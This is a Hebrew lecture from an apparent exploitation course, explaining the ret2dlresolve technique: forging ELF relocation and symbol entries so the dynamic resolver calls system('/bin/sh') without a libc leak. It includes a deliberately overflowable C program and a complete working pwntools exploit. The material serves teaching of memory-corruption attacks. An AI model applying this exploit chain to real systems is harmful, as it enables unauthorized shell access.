לדלג לתוכן

6.4 ret2dlresolve הרצאה

בשיעור 4.1 פירקנו את PLT ואת GOT וראינו בדיוק איך פתרון עצל עובד: בקריאה הראשונה לפונקציה מ-libc, הבינארי קופץ ל-_dl_runtime_resolve, זה מוצא את הכתובת האמיתית של הסמל, כותב אותה לתא ה-GOT, ומעביר שליטה לפונקציה. עד עכשיו כל chains ה-ret2libc שבנינו הסתמכו על leak: היינו צריכים כתובת של libc כדי לקרוא ל-system. אבל מה עושים כשאין leak בכלל? אין puts להדפיס איתו את ה-GOT, אין format string, שום דבר. בשיעור הזה נלמד טכניקה יפהפייה שפותרת בדיוק את זה: ret2dlresolve. במקום לדלוף את הכתובת של system, נגרום לפותר הדינמי בעצמו למצוא אותה בשבילנו ולקרוא לה. אנחנו רק נזייף את הקלט שהוא מקבל. הטכניקה עובדת בלי שום leak, ואפילו כשיש רק Partial RELRO.

תזכורת - הפותר הדינמי - _dl_runtime_resolve

בואו נחדד את מה שקורה מאחורי הקלעים ברגע הפתרון. כשקוראים לפונקציה שעדיין לא נפתרה, ה-stub ב-PLT דוחף אינדקס רילוקיישן וקופץ ל-PLT0, וזה בתורו קורא בפועל ל:

_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_arg);

הפרמטר הראשון, link_map, הוא מבנה הנתונים של הטוען הדינמי (מגיע מ-GOT[1]). הפרמטר השני, reloc_arg, הוא במערכת x86-64 אינדקס לתוך טבלת הרילוקיישנים .rela.plt. הפותר משתמש בו כדי לשלוף רשומת רילוקיישן, וממנה הוא מגיע לסמל ולשם שלו. הchain הגישות היא הלב של הכל, אז נעקוב אחריה לאט. בפועל _dl_runtime_resolve קורא לפונקציה הפנימית _dl_fixup, וזו עושה בערך את זה:

// simplified version of _dl_fixup
const ElfW(Rela) *reloc  = JMPREL + reloc_arg * sizeof(Elf64_Rela);
const ElfW(Sym)  *sym    = &SYMTAB[ ELF64_R_SYM(reloc->r_info) ];
const char       *name   = STRTAB + sym->st_name;
// looks up name in the symbol tables of the loaded libraries (libc etc.)
void *addr = _dl_lookup_symbol_x(name, ...);
*(void **)reloc->r_offset = addr;   // patches the GOT cell
return addr;                        // and jumps there

שלושת הבסיסים JMPREL, SYMTAB ו-STRTAB הם כתובות קבועות בבינארי, מהסקשן הדינמי. אפשר לראות אותן ישירות:

$ readelf -d ./vuln | grep -E 'JMPREL|SYMTAB|STRTAB'
 0x0000000000000017 (JMPREL)   0x400490
 0x0000000000000006 (SYMTAB)   0x400340
 0x0000000000000005 (STRTAB)   0x4003a0

שימו לב מה קורה כאן: הפותר לא מקבל שם של פונקציה. הוא מקבל רק מספר (reloc_arg), וממנו הוא מחשב את כל השאר בchain של גישות לזיכרון. וזו בדיוק הפרצה.

הרעיון - לזייף את הקלט לפותר

הפותר מאמין למה שכתוב בטבלאות. הוא לוקח את reloc_arg, ניגש ל-JMPREL + reloc_arg*24, קורא משם r_info, משם מגיע לסמל, ומשם קורא את שם הפונקציה מ-STRTAB. אם נשלוט בכל התחנות האלה, נוכל לגרום לו לחפש כל שם שנרצה - למשל system - ולקרוא לו.

reloc_arg (under our control)
    |
    v   JMPREL + reloc_arg*24
+-------------------+
| fake Elf64_Rela   |  r_info -> symbol index,  r_offset -> writable cell
+-------------------+
    | ELF64_R_SYM(r_info)
    v   SYMTAB + sym_index*24
+-------------------+
| fake Elf64_Sym    |  st_name -> offset to the string
+-------------------+
    | STRTAB + st_name
    v
+-------------------+
| "system\0"        |  <-- the resolver looks this up in libc
+-------------------+

הטריק: אנחנו לא צריכים לשנות את הטבלאות המקוריות (הן לרוב קריאה-בלבד). במקום זה נבחר reloc_arg גדול כך ש-JMPREL + reloc_arg*24 יצביע החוצה מהטבלה המקורית, אל אזור זיכרון שאנחנו שולטים בו וכתיב - בדרך כלל .bss או .data. שם נניח מראש Elf64_Rela מזויף, Elf64_Sym מזויף, ואת המחרוזת "system". הפותר יעקוב אחרי המצביעים המזויפים בתמימות, ימצא את system ב-libc, ויקרא לו. בלי leak, בלי כתובת libc מראש - הפותר עושה בשבילנו את כל העבודה.

המבנים המזויפים - Elf64_Rela, Elf64_Sym והמחרוזת

צריך להכיר את שלושת המבנים בול. כל טעות של בית אחד שולחת את הפותר לכתובת אשפה וקורסת.

הרשומה - Elf64_Rela

זו רשומת רילוקיישן, 24 בתים:

typedef struct {
    Elf64_Addr    r_offset;   // 8 bytes: where the resolved pointer will be written
    Elf64_Xword   r_info;     // 8 bytes: (sym_index << 32) | type
    Elf64_Sxword  r_addend;   // 8 bytes: not relevant here, zero
} Elf64_Rela;

השדה r_info מקודד שני דברים: 32 הביטים העליונים הם אינדקס הסמל בטבלת הסמלים, ו-32 הביטים התחתונים הם סוג הרילוקיישן. הסוג חייב להיות R_X86_64_JUMP_SLOT, שערכו 7. אז r_info = (sym_index << 32) | 7. השדה r_offset הוא הכתובת שאליה הפותר יכתוב את התוצאה - צריך שתהיה כתיבה (אחרת הכתיבה תקרוס), אבל חוץ מזה לא מעניין אותנו לאן.

הסמל - Elf64_Sym

גם הוא 24 בתים:

typedef struct {
    Elf64_Word    st_name;    // 4 bytes: offset to the name inside STRTAB
    unsigned char st_info;    // 1 byte: binding|type
    unsigned char st_other;   // 1 byte
    Elf64_Section st_shndx;   // 2 bytes
    Elf64_Addr    st_value;   // 8 bytes
    Elf64_Xword   st_size;    // 8 bytes
} Elf64_Sym;

השדה היחיד שחשוב לנו הוא st_name - האופסט של המחרוזת "system" בתוך STRTAB. השדה st_info כדאי שיהיה 0x12 (כלומר STB_GLOBAL עם STT_FUNC), שזה הערך הרגיל של סמל פונקציה מיוצא. את שאר השדות אפשר לאפס.

המחרוזת

פשוט הבתים system\0. הפותר קורא אותה מ-STRTAB + st_name ומחפש אותה בטבלאות הסמלים של libc. חשוב: הפונקציה system לא צריכה להיות מיובאת בבינארי שלנו. הפותר מחפש אותה בכל הספריות הטעונות, ו-libc מייצאת אותה תמיד. זו הנקודה החזקה - אנחנו קוראים לפונקציה שהבינארי שלנו מעולם לא הזכיר.

החישוב - אינדקסים ואופסטים

עכשיו החלק המספרי. נניח שבחרנו אזור כתיב בכתובת data (למשל תוך .bss), ובו נניח את המבנים בזה אחר זה. שלושת האינדקסים והאופסטים מחושבים ביחס לבסיסי הטבלאות המקוריות:

reloc_arg  = (fake_rela_addr - JMPREL) / 24
sym_index  = (fake_sym_addr  - SYMTAB) / 24
st_name    =  string_addr    - STRTAB

שימו לב לחלוקות ב-24: מכיוון ש-reloc_arg ו-sym_index הם אינדקסים (הפותר מכפיל אותם בגודל המבנה), החיסור חייב להתחלק ב-24 בדיוק. אם הוא לא מתחלק, מזיזים את המבנה בכמה בתים של padding עד שהוא מיושר. זו הסיבה שהחישוב הידני קצת מעצבן, ומיד נראה שהספרייה pwntools עושה את הalignment הזה בשבילנו.

הנה בנייה מושגית של הבלוק הזה ב-Python, כדי לראות את הבתים:

from pwn import *
context.arch = 'amd64'

JMPREL = 0x400490
SYMTAB = 0x400340
STRTAB = 0x4003a0
data   = 0x404000        # writable area in .bss that we chose

# layout: string first, then the Sym, then the Rela (with alignment padding)
binsh_str = data + 0
sym_addr  = data + 8      # needs shifting until it divides evenly by 24 against SYMTAB
rela_addr = sym_addr + 24 # same for dividing evenly by 24 against JMPREL

st_name   = binsh_str - STRTAB
sym_index = (sym_addr - SYMTAB) // 24
reloc_arg = (rela_addr - JMPREL) // 24

fake_sym  = p32(st_name) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
fake_rela = p64(data + 0x100) + p64((sym_index << 32) | 7) + p64(0)
#           ^ r_offset = some writable cell   ^ r_info = sym_index|JUMP_SLOT

זו רק המחשה - בקוד אמיתי צריך להוסיף את הpadding שמבטיח שהחלוקות ב-24 יוצאות שלמות, וגם לדאוג לפריסה מדויקת. לכן בפועל נשתמש בכלי מוכן.

הפעלת הפותר - חזרה ל-PLT0

יש לנו מבנים מזויפים באזור כתיב. עכשיו צריך לגרום ל-_dl_runtime_resolve לרוץ עם ה-reloc_arg שלנו. הדרך הנקייה ב-x86-64: לחזור אל PLT0, כלומר הרשומה הראשונה בסקשן .plt (בדרך כלל 0x401020), ולהניח את reloc_arg ישר אחריה על המחסנית. נזכיר מה PLT0 עושה:

PLT0:
  push QWORD PTR [GOT+8]     ; pushes link_map (GOT[1])
  jmp  QWORD PTR [GOT+16]    ; jumps to _dl_runtime_resolve (GOT[2])

כלומר אם נגיע ל-PLT0 כשה-reloc_arg שלנו יושב על ראש המחסנית, אז אחרי ה-push של ה-link_map, המחסנית תיראה בדיוק כמו ב-stub רגיל: [link_map][reloc_arg][...], והפותר יקרא את ה-reloc_arg שלנו. הchain ה-ROP נראית כך:

high addresses
+---------------------------+
| return_after              |  <-- where system returns to (not critical)
+---------------------------+
| reloc_arg                 |  <-- the fake index the resolver will read
+---------------------------+
| PLT0  (0x401020)          |  <-- ret jumps here -> triggers the resolver
+---------------------------+
| address of "/bin/sh"      |  <-- goes into rdi
+---------------------------+
| pop rdi ; ret             |  <-- the gadget that prepares the argument
+---------------------------+
low addresses (the first ret starts here)

הרצף: ה-ret הראשון קופץ ל-pop rdi ; ret, זה טוען ל-rdi את הכתובת של "/bin/sh" (שגם היא באזור המזויף שלנו), ואז ה-ret קופץ ל-PLT0. PLT0 דוחף את ה-link_map וקופץ לפותר, הפותר קורא את ה-reloc_arg שלנו, עוקב אחרי המבנים המזויפים, מוצא את system ב-libc, וקורא לה - כש-rdi כבר מצביע על "/bin/sh". התוצאה: shell. שימו לב שלא נגענו ב-libc בכלל מבחינת כתובות - הכל הגיע מהבינארי או מהפותר.

תנאים ומגבלות - RELRO וגרסאות סמלים

הטכניקה חזקה, אבל יש לה תנאים ברורים, וחשוב להצהיר עליהם.

חייב פתרון עצל - lazy binding. כל הרעיון נשען על כך ש-_dl_runtime_resolve קיים ונגיש דרך PLT0. זה נכון כשה-RELRO הוא No RELRO או Partial RELRO (ברירת המחדל). לעומת זאת, Full RELRO (-z now) פותר את כל הסמלים כבר בזמן הטעינה, מסמן את כל ה-GOT קריאה-בלבד, ואין בו מסלול פתרון בזמן ריצה. במצב הזה ret2dlresolve פשוט לא עובד. בדקו תמיד עם checksec:

$ checksec --file=./vuln
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

המצב Partial RELRO הוא בדיוק זה שבו הטכניקה זורחת.

עדיף בלי PIE. בגרסה שהצגנו, JMPREL, SYMTAB, STRTAB, PLT0 והאזור הכתיב הם כתובות קבועות מהבינארי. עם PIE כל אלה יחסיים לבסיס אקראי, אז נצטרך קודם leak של בסיס הבינארי - ואז חלק מהיתרון "בלי leak" הולך לאיבוד. הדוגמאות כאן מניחות No PIE.

סיבוך של גרסאות סמלים - versioning. ב-glibc מודרני, _dl_fixup בודק גם טבלת גרסאות (.gnu.version) באינדקס sym_index. אם בחרנו sym_index ענק, הגישה הזו קוראת זיכרון מחוץ לטבלה ועלולה להחזיר מספר גרסה לא-אפס, ואז הפותר יחפש גרסה ספציפית של הסמל וייכשל. זו הסיבה שהחישוב הידני ב-x86-64 עדין ומועד לתקלות. הפתרון המעשי הוא לתת ל-pwntools לבנות את המבנים - היא בוחרת פריסה שממנה בדיקת הגרסה נופלת על ערך אפס תקין, ומדלגת על כל המוקשים האלה.

הדרך הנוחה - Ret2dlresolvePayload

הספרייה pwntools מספקת את המחלקה Ret2dlresolvePayload שבונה את כל המבנים המזויפים, מחשבת את כל האינדקסים והpaddings, ונותנת לנו גם את הבתים לכתוב וגם ROP chain מוכנה. הבינארי לדוגמה - שימו לב שאין בו לא system ולא "/bin/sh", ואין שום leak:

// vuln.c
// gcc -fno-stack-protector -no-pie -z lazy -o vuln vuln.c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    read(0, buf, 0x200);       // generous overflow, no canary
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

מוודאים שיש גאדג'ט להכנת הארגומנט:

$ ROPgadget --binary ./vuln | grep 'pop rdi ; ret'
0x0000000000401263 : pop rdi ; ret

$ objdump -d -j .plt ./vuln | head -4      # locate PLT0
0000000000401020 <.plt>:
  401020: ff 35 e2 2f 00 00   push  QWORD PTR [rip+0x2fe2]

וזה ה-exploit המלא:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')

offset = 72                      # 64 bytes buf + 8 bytes saved rbp
rop = ROP(elf)

# build the fake structures for calling system("/bin/sh")
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

# step 1: read the fake structures into the area pwntools chose.
# intentionally without a length: rdx is still larger than the binary's original read, and that's enough.
rop.read(0, dlresolve.data_addr)
# step 2: return to PLT0 with the fake reloc_arg, and prepare rdi
rop.ret2dlresolve(dlresolve)

log.info('data_addr @ %#x', dlresolve.data_addr)
log.info(rop.dump())

payload  = flat({ offset: rop.chain() })

p = process()
p.sendline(payload)              # the overflow that runs the ROP chain
p.sendline(dlresolve.payload)    # the fake structures that get read into data_addr
p.interactive()

שני קווים שכדאי להבין. ראשית, dlresolve.data_addr הוא הכתובת שבה pwntools בחרה להניח את המבנים (בדרך כלל תוך .bss), ו-dlresolve.payload הם הבתים המזויפים עצמם. הchain קודם קוראת אותם למקום עם read, ורק אז מפעילה את הפותר. שנית, קראנו ל-rop.read עם שני ארגומנטים בלבד, בלי אורך. למה? כי כדי לקבוע אורך צריך גאדג'ט pop rdx, ובבינארי הקטן הזה הוא לרוב לא קיים. במקום זה אנחנו מסתמכים על כך שבזמן ה-read השני, rdx עדיין מחזיק את הערך מה-read המקורי של הבינארי (0x200) - וזה בהחלט מספיק בשביל dlresolve.payload הקצר. אם במקרה rdx היה קטן מדי, היינו מוסיפים גאדג'ט pop rdx ; ret כדי להגדיל אותו לפני הקריאה.

אימות ב-GDB

כדאי לוודא שהפותר באמת רץ עם ה-reloc_arg שלנו. שמים breakpoint על ה-PLT0:

pwndbg> break *0x401020        # PLT0
pwndbg> run < <(python3 exploit.py --dump)   # or just run and attach
pwndbg> x/2gx $rsp
0x7fffffffe100:  0x0000000000401020   0x00000000000000NN   <-- our reloc_arg

אחרי שני stepi תראו את הקפיצה אל _dl_runtime_resolve, ואם תמשיכו עם finish פעם או פעמיים תגיעו אל system עם rdi שמצביע על "/bin/sh". אם במקום זה אתם קורסים בתוך הפותר, כמעט תמיד הסיבה היא אחת: reloc_arg שגוי (שולח את ה-Rela למקום לא נכון), sym_index לא מיושר (בדיקת הגרסה נופלת), או ש-data_addr לא באמת כתיב. תנו ל-pwntools לחשב את הפריסה - זה חוסך את רוב הכאב.

טעויות נפוצות

  • מצב Full RELRO. אם checksec מראה Full RELRO, עצרו - אין lazy binding, אין פותר לזייף לו קלט, והטכניקה לא רלוונטית. חפשו וקטור אחר.
  • המבנים לא נכתבו לפני ההפעלה. בדיוק כמו ב-stack pivoting, סדר הפעולות קדוש: קודם read שמניח את המבנים ב-data_addr, ורק אחר כך מפעילים את PLT0. אם הפכתם את הסדר, הפותר קורא זיכרון ריק.
  • האוגר rdx קטן מדי בזמן ה-read. אם ה-read השני קורא פחות בתים מאורך המבנים, המבנה נחתך והפותר קורס. ודאו ש-rdx מספיק גדול, או השתמשו בגאדג'ט pop rdx להגדיל אותו.
  • האוגר rdi לא מוכן. הפונקציה system נקראת עם ה-rdi הנוכחי. אם שכחתם את pop rdi ; ret לפני ה-PLT0, תקבלו system(garbage). עם Ret2dlresolvePayload ו-args=['/bin/sh'] זה מטופל, אבל בבנייה ידנית זו טעות קלאסית.
  • בחירת אזור לא כתיב ל-data_addr. אם המבנים נכתבים לאזור שאינו rw, ה-read נכשל בשקט או קורס. אמתו עם vmmap שהכתובת ב-.bss/.data.

סיכום

  • כשאין leak בכלל ואי אפשר להשיג כתובת של libc, ret2dlresolve נותן לנו לקרוא ל-system על ידי כך שנגרום לפותר הדינמי בעצמו למצוא אותה.
  • הפותר _dl_runtime_resolve(link_map, reloc_arg) מקבל אינדקס בלבד, ומחשב ממנו את הרשומה ב-JMPREL, את הסמל ב-SYMTAB, ואת השם ב-STRTAB. אנחנו מזייפים את שלושת אלה באזור כתיב.
  • בוחרים reloc_arg גדול שמצביע החוצה מהטבלה המקורית אל .bss, שם מניחים Elf64_Rela מזויף (r_info = (sym_index<<32)|7), Elf64_Sym מזויף (st_name -> "system"), והמחרוזת "system\0".
  • מפעילים את הפותר בחזרה ל-PLT0 עם ה-reloc_arg על המחסנית, כש-rdi כבר מצביע על "/bin/sh".
  • התנאים: חייב lazy binding (No/Partial RELRO), עדיף בלי PIE. Full RELRO חוסם את הטכניקה לגמרי.
  • החישוב הידני עדין (alignment ל-24, בדיקת גרסאות ב-glibc מודרני), אז בפועל משתמשים ב-Ret2dlresolvePayload של pwntools שבונה את המבנים ואת הchain ומטפלת בכל המוקשים.